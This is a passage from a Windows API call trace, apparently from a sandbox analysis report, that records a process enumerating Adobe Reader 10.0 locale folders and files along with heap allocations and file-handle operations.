10.0\\Reader\\Locale\\sv_SE\\Services\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e9100 [0082.688] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0082.689] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f971c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0082.689] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x8d1f, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="")) returned 1 [0082.689] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f4af00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services.asfx", cAlternateFileName="")) returned 1 [0082.689] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f4af00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services.asfx", cAlternateFileName="")) returned 0 [0082.689] GetLastError () returned 0x12 [0082.689] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1293470) returned 1 [0082.689] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0082.689] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1293578) returned 1 [0082.689] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1293368) returned 1 [0082.689] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ddd5200, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="Spelling.SVE", cAlternateFileName="")) returned 1 [0082.689] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f4be5c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="updater.SVE", cAlternateFileName="")) returned 1 [0082.689] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82c16540, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Weblink.SVE", cAlternateFileName="")) returned 1 [0082.689] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82c16540, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Weblink.SVE", cAlternateFileName="")) returned 0 [0082.689] GetLastError () returned 0x12 [0082.690] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.690] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0082.690] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x125ec28) returned 1 [0082.690] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0082.690] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d795840, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832a21c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832a21c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr_TR", cAlternateFileName="")) returned 1 [0082.690] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0082.690] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\tr_tr"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d795840, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832a21c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832a21c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0082.691] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\tr_tr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x168 [0082.691] SetFileTime (hFile=0x168, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0082.691] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x11ec790 [0082.691] DeviceIoControl (in: hDevice=0x168, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x11ec790, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x11ec790, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0082.691] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11ec790) returned 1 [0082.691] NtClose (Handle=0x168) returned 0x0 [0082.692] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0082.692] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0082.692] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.692] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.692] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9040 [0082.694] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d795840, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832a21c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832a21c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0082.694] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db4daa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa400, dwReserved0=0x0, dwReserved1=0x0, cFileName="Accessibility.TUR", cAlternateFileName="")) returned 1 [0082.694] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.695] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.695] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.695] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.695] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.695] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x125ec28 [0082.696] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.696] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1213f20 [0082.696] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1293368 [0082.696] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.696] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x830d9140, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x61200, dwReserved0=0x0, dwReserved1=0x0, cFileName="Acroform.TUR", cAlternateFileName="")) returned 1 [0082.696] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.696] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.697] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.697] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.697] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.697] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1213f40 [0082.697] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1293578 [0082.698] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.698] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81d0fa60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeCollabSync.TUR", cAlternateFileName="")) returned 1 [0082.698] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.698] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.698] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.698] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.698] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.699] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1213f60 [0082.699] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1293470 [0082.699] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.699] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x832a21c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x75000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Annots.TUR", cAlternateFileName="")) returned 1 [0082.699] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.700] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.700] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.700] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.700] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.700] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1213f80 [0082.700] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1293890 [0082.701] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.701] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x820a1b60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3400, dwReserved0=0x0, dwReserved1=0x0, cFileName="BRdlang32.TUR", cAlternateFileName="")) returned 1 [0082.701] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.701] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.701] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.702] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.702] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.702] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1213fa0 [0082.702] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1293998 [0082.702] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.702] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x830d9140, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1d600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Checkers.TUR", cAlternateFileName="")) returned 1 [0082.702] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.703] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.703] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.703] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.703] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.703] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1213fc0 [0082.703] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1293aa0 [0082.704] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x7180) returned 0x1293f28 [0082.704] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12a20f8) returned 1 [0082.704] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.704] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x830d9140, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1d200, dwReserved0=0x0, dwReserved1=0x0, cFileName="DigSig.TUR", cAlternateFileName="")) returned 1 [0082.704] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.705] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.705] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.705] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.705] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.705] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1213fe0 [0082.705] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1293ba8 [0082.706] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.706] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x830d9140, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4400, dwReserved0=0x0, dwReserved1=0x0, cFileName="DVA.TUR", cAlternateFileName="")) returned 1 [0082.706] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.706] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.706] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.707] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.707] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.707] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1214000 [0082.707] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1293cb0 [0082.707] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.707] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83255f00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="eBook.TUR", cAlternateFileName="")) returned 1 [0082.707] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.708] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.708] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.708] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.708] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.708] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1214020 [0082.708] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1293db8 [0082.709] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.709] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x830d9140, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa000, dwReserved0=0x0, dwReserved1=0x0, cFileName="EScript.TUR", cAlternateFileName="")) returned 1 [0082.709] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.709] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.709] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.710] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.710] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.710] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1214040 [0082.710] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x129b0c8 [0082.712] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.712] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x830d9140, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="IA32.TUR", cAlternateFileName="")) returned 1 [0082.712] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.712] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.712] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.712] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.712] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.713] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1214060 [0082.713] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x129b1d0 [0082.713] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.713] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db27940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x11c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MakeAccessible.TUR", cAlternateFileName="")) returned 1 [0082.713] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.714] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.714] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.714] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.714] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.714] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1214080 [0082.714] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x129b2d8 [0082.715] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.715] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d795840, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x12e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Multimedia.TUR", cAlternateFileName="")) returned 1 [0082.715] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.715] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.715] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.715] 